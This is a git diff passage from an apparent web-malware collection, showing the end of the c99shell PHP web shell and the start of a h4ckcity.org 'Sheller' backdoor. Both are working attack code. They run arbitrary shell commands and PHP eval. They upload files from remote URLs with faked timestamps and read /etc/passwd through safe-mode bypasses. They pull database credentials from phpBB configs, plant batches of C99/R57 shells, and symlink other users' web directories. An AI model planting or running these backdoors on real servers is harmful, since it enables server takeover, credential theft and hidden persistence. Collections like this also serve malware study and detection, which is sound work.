        ";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "Change file-mode with error: can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
        ".($err?"Error: ".$err:"")."
        Owner

         Read
         Write
        eXecute
        Group

         Read
         Write
        eXecute
        World

         Read
         Write
        eXecute
        "; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"].". Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\".

        ";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url!
        ";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!
        ";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!
        ";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "".$uploadmess.""; + $act = "ls"; + } + else + { + echo "File upload:
        ".$uploadmess."
        +Select file on your local computer:
                       or
        +Input URL:

        +Save this file dir:

        +File-name (auto-fill):

        + convert file name to lovercase

        + +
        "; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."
        ";} + } + if (!empty($delerr)) {echo "Deleting with errors:
        ".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "
        Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.
        ";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
        ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
        ";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "Pasting with errors:
        ".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
        ";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "Archivation errors:
        ".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
        ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
        ";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "Pasting with errors:
        ".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + $execcmd = $_REQUEST['cmd']; + echo "Result Of Locally Executed Command: $execcmd
        "; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "
        "; + } + else {echo $ret."
        ";} + @chdir($olddir); + } + else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "


         Display in text-area 
        "; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "
        Can't open folder ".htmlspecialchars($d)."
        ";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "Name"; + $row[] = "Size"; + $row[] = "Modify"; + if (!$win) + {$row[] = "Owner/Group";} + $row[] = "Perms"; + $row[] = "Action"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = ""; + $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."]"; + $row[$k] .= $y; + for($i=0;$i".$row[$i]."";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = ""; $r[3] = "";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = " ".$o.""; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = " ".$o.""; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = " [".$disppath."]"; + } + else + { + $type = "DIR"; + $row[] = " [".$disppath."]"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = " ".$disppath.""; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "".view_perms_color($v).""; + if ($o == ".") {$checkbox = ""; $i--;} + else {$checkbox = "";} + if (is_dir($v)) {$row[] = "[Info] ".$checkbox;} + else {$row[] = "[Info] [Change] [Download] ".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "
        Listing Folder: ".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders

        + + + "; + foreach($table as $row) + { + echo "\r\n"; + foreach($row as $v) {echo "\r\n";} + echo "\r\n"; + } + echo "
        ".$v."

        + +    + "; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "                   "; + } + echo " 

        "; + echo ""; + } +} + +if ($act == "processes") +{ + echo "Processes:
        "; + if (!$win) {$handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "
        Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "[sort_desc]";} + else {$y = "[sort_asc]";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i".$head[$i]."";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "
        "; + foreach($tab as $i=>$k) + { + echo ""; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "";} + echo ""; + } + echo "
        ".$v."
        "; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "Result of execution this PHP-code:
        "; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "
        "; + } + else {echo $ret."
        ";} + } + else + { + if ($eval_txt) + { + echo "
        "; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "


         Display in text-area 
        "; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "
        Permision denied (".htmlspecialchars($d.$f).")!
        ";} + else {echo "
        File does not exists (".htmlspecialchars($d.$f).")!
        Create
        ";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("[hex]","info"), + array("[html]","html"), + array("[txt]","txt"), + array("[Code]","code"), + array("[Session]","phpsess"), + array("[exe]","exe"), + array("[SDB]","sdb"), + array("[gif]","img"), + array("[ini]","ini"), + array("[download]","download"), + array("[rtf]","notepad"), + array("[change]","edit") + ); + echo "Viewing file:    [$ext] ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
        Select action/file-type:
        "; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " ".$t[0]."";} + elseif ($t[1] == $ft) {echo " ".$t[0]."";} + else {echo " ".$t[0]."";} + echo " (+) |"; + } + echo "
        "; + if ($ft == "info") + { + echo "Information:"; + if (!$win) + { + echo "
        Path ".$d.$f."
        Size ".view_size(filesize($d.$f))."
        MD5 ".md5_file($d.$f)."
        Owner/Group "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "
        Perms".view_perms_color($d.$f)."
        Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
        Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
        MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."

        "; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} + else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000
        "; + $a1 = ""; + $a2 = ""; + for ($i=0; $i";} + $a1 .= "
        "; + $a2 .= "
        "; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."
        ";} + echo "
        ".$a0."".$a1."".$a2."

        "; + } + $encoded = ""; + if ($base64 == 1) + { + echo "Base64 Encode
        "; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "Base64 Encode + Chunk
        "; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "Base64 Encode + Chunk + Quotes
        "; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "
        "; + } + if (!empty($encoded)) + { + echo "

        "; + } + echo "HEXDUMP: [Full] [Preview]
        Base64: +
        [Encode +[+chunk +[+chunk+quotes +[Decode +

        "; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "

        ".htmlspecialchars($r)."
        ";} + elseif ($ft == "ini") {echo "
        "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
        ";} + elseif ($ft == "phpsess") + { + echo "
        ";
        +   $v = explode("|",$r);
        +   echo $v[0]."
        "; + var_dump(unserialize($v[1])); + echo "
        "; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "Execute file:

        Display in text-area
        "; + } + elseif ($ft == "sdb") {echo "
        "; var_dump(unserialize(base64_decode($r))); echo "
        ";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "phpBB configuration is detected in this file!
        "; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "Connect to DB

        ";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:
        "; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
        ";} + echo "

        "; + } + } + echo "
        "; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "
        "; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "
        Size: "; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo ""; + if ($imgsize != $v ) {echo $v;} + else {echo "".$v."";} + echo "   "; + } + echo "

        "; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "Can't write to file!";} + else + { + echo "Saved!"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "
          
        "; + } + elseif (!empty($ft)) {echo "
        Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
        ";} + else {echo "
        Unknown extension (".$ext."), please, select type manually.
        ";} + } +} +} +else +{ + @ob_clean(); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
        ");}}}} + natsort($images); + $k = array_keys($images); + echo "
        "; + foreach ($k as $u) {echo $u.":
        ";} + echo "
        "; + } + exit; +} +?> +
        +

        Local Command:  
        +
        + + + +
        +

        + Quick Commands
        +
        +
        + + + + + +   +
        +
        +
        +

        Kernel Information +
        +  +
        +
        +
        +
        + + + + +
        +
        PHP Safe-Mode Bypass (Read Files)
        +
        +
        +
        + File:

        eg: /etc/passwd
        + Trying To Get File $get
        "; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + + + echo "

        Reading $get:


        "; + unlink($temp); + } else { + echo("
        Sorry... File + ".htmlspecialchars($file)." dosen't exists or you don't have + access.
        "); + } + echo "
        "; + } + + if(isset($_REQUEST['file'])) +{ +rsg_read(); +} + + ?> + + Trying To List Folder $chemin
        "; +foreach ($files as $filename) { + echo "
        ";
        +   echo "$filename\n";
        +   echo "
        "; +} +} + +if(isset($_REQUEST['directory'])) +{ +rsg_glob(); +} + +?> + +
        +
        +
        +
        +
        + PHP Safe-Mode Bypass (List Directories): +
        +

        + Dir:

        eg: /etc/
        + +
        +
        +
        + + + + +
        + Search +
          - regexp 

        + Upload +
         
        +
        + Create Directory + +

         
        + Create File +
         
        + +
        + Enter Directory +
         
        + Access File +
         
        + + + +

        --[ c99shell Editing by jos_ali_joe. | ]--

        +
        + diff --git a/web-malware-collection-master/Backdoors/PHP/2mv2.txt b/web-malware-collection-master/Backdoors/PHP/2mv2.txt new file mode 100755 index 0000000..6b13ea5 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/2mv2.txt @@ -0,0 +1,1410 @@ + + + + + + + +:: www.h4ckcity.org :: Coded By 2MzRp & LocalMan :: + + + + +[+] Can't Open The Sheller File .

        "; +} +else { +$fp23 = @fopen("$DIR/$Sheller.php",'w+'); +$fw23 = @fwrite($fp23,$file23); +if ($fw23) { +echo "[+] Uploaded Successful : $DIR/$Sheller.php
        "; +} +@fclose($fp23); + } +} +function is_windows() { return strtolower(substr(PHP_OS,0,3)) == "win"; } +$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']; +$safe_mode=ini_get('safe_mode'); +$mysql_stat=function_exists('mysql_connect'); +$curl_on=function_exists('curl_version'); +$dis_func=ini_get('disable_functions'); +function sysinfo() +{ + global $curl_on, $dis_func, $mysql_stat, $safe_mode, $server, $HTTP_SERVER_VARS; + echo (($safe_mode)?("Safe Mode: ON "): + ("Safe Mode: OFF ")); + $row_dis_func=explode(', ',$dis_func); + echo ("PHP: ".phpversion()." "); + echo ("MySQL: "); + if($mysql_stat){ + echo "ON "; + } + else { + echo "OFF "; + } + echo "cURL: "; + if($curl_on){ + echo "ON
        "; + }else + echo "OFF
        "; + if ($dis_func!=""){ + echo "Disabled Functions :
        ".$dis_func."
        "; + } + else { + echo "Disabled Functions : None
        "; + } + $uname = @exec('uname -a'); + echo "OS: "; + if (empty($uname)){ + echo (php_uname()."
        "); + }else + echo $uname."

        "; + $id = @exec('id'); + echo "SERVER: ".$server."
        "; + echo "ID: "; + if (!empty($id)){ + echo $id."
        "; + }else + echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid(). + "

        "; + echo "RemoteAddress: ".$HTTP_SERVER_VARS['REMOTE_ADDR']." , Server: ".@gethostbyname($_SERVER["HTTP_HOST"]).""; + if(isset($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'])){ + echo "RemoteAddressIfProxy: ".$HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'].""; + } + echo "
        "; +} +function RndName() { +$codelenght = 10; +while(@$newcode_length < $codelenght) { +$x=1; +$y=3; +$part = rand($x,$y); +if($part==1){$a=48;$b=57;} +if($part==2){$a=65;$b=90;} +if($part==3){$a=97;$b=122;} +$code_part=chr(rand($a,$b)); +(@$newcode_length = $newcode_length + 1); +(@$newcode = $newcode.$code_part); +} +return $newcode; +} +# PHP Variables :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: PHP Variables # +echo "
        + + + + + + + + + + + + + + + + + + + + + + +
        : Server Information :
        "; + echo sysinfo(); +echo "
        +
        +
        + View Directory : + +
        +
        +
        "; +if (isset($_POST['Submit1'])) +{ +function C99_Create() { +$C99 = RndName(); +$c99_add = (@$_POST['c99_txt']); +$C99_File = (@file_get_contents("$c99_add")); +if (!$C99_File){ +echo "[+] Can't Open The C99 Sheller File .
        "; +} +else { +$fp1 = @fopen("$C99.php",'w+'); +$fw1 = @fwrite($fp1,$C99_File); +if ($fw1) { +echo "[+] C99 Sheller Upload Successful : $C99.php
        "; +} +else { +echo "[+] No Perm !
        "; +} +@fclose($fp1); +} +} +function R57_Create() { +$R57 = RndName(); +$r57_add = (@$_POST['r57_txt']); +$R57_File = (@file_get_contents("$r57_add")); +if (!$R57_File){ +echo "[+] Can't Open The R57 Sheller File .
        "; +} +else { +$fp1 = @fopen("$R57.php",'w+'); +$fw1 = @fwrite($fp1,$R57_File); +if ($fw1) { +echo "[+] R57 Sheller Upload Successful : $R57.php
        "; +} +else { +echo "[+] No Perm !
        "; +} +@fclose($fp1); +} +} +for ($i=0;$i<=5;$i++) { +C99_Create(); +R57_Create(); +} +} + +if (isset($_POST['Submit2'])) +{ +@mkdir("h4ckcity"); +@chdir("h4ckcity"); +echo '[+] Directory [ h4ckcity ] Created .
        '; +echo '[+] Directory Changed .
        '; +$file3 = 'Options +FollowSymLinks +DirectoryIndex seees.html +RemoveHandler .php +AddType application/octet-stream .php'; +$fp3 = fopen('.htaccess','w'); +$fw3 = fwrite($fp3,$file3); +if ($fw3) { +echo '[+] .htaccess File Uploaded .
        '; +} +else { +echo "[+] No Perm To Create .htaccess File !
        "; +} +@fclose($fp3); +$lines3=@file('/etc/passwd'); +if (!$lines3) { +$authp = @popen("/bin/cat /etc/passwd", "r"); +$i = 0; +while (!feof($authp)) +$aresult[$i++] = fgets($authp, 4096); +$lines3 = $aresult; +@pclose($authp); +} +if (!$lines3) { +echo "[+] Can't Read /etc/passwd File .
        "; +echo "[+] Can't Make The Users Shortcuts .
        "; +echo '[+] Finish !
        '; +} +else { +foreach($lines3 as $line_num3=>$line3){ +$sprt3=explode(":",$line3); +$user3=$sprt3[0]; +@exec('ln -s /home/'.$user3.'/public_html ' . $user3); +} +echo '[+] Users Shortcut Created .
        '; +echo '[+] Finish !
        '; +} +} +####################################################################### +Function START_Process() { +$lines=@file('/etc/passwd'); +if (!$lines) { +$authp = @popen("/bin/cat /etc/passwd", "r"); +$i = 0; +while (!feof($authp)) +$aresult[$i++] = fgets($authp, 4096); +$lines = $aresult; +@pclose($authp); +} +if (!$lines) { +$EtcUrl = @$_REQUEST['ManuelDIR']; +$lines=@file("$EtcUrl"); +} +if (!$lines) { +echo "[+] Can't Open /etc/passwd File .
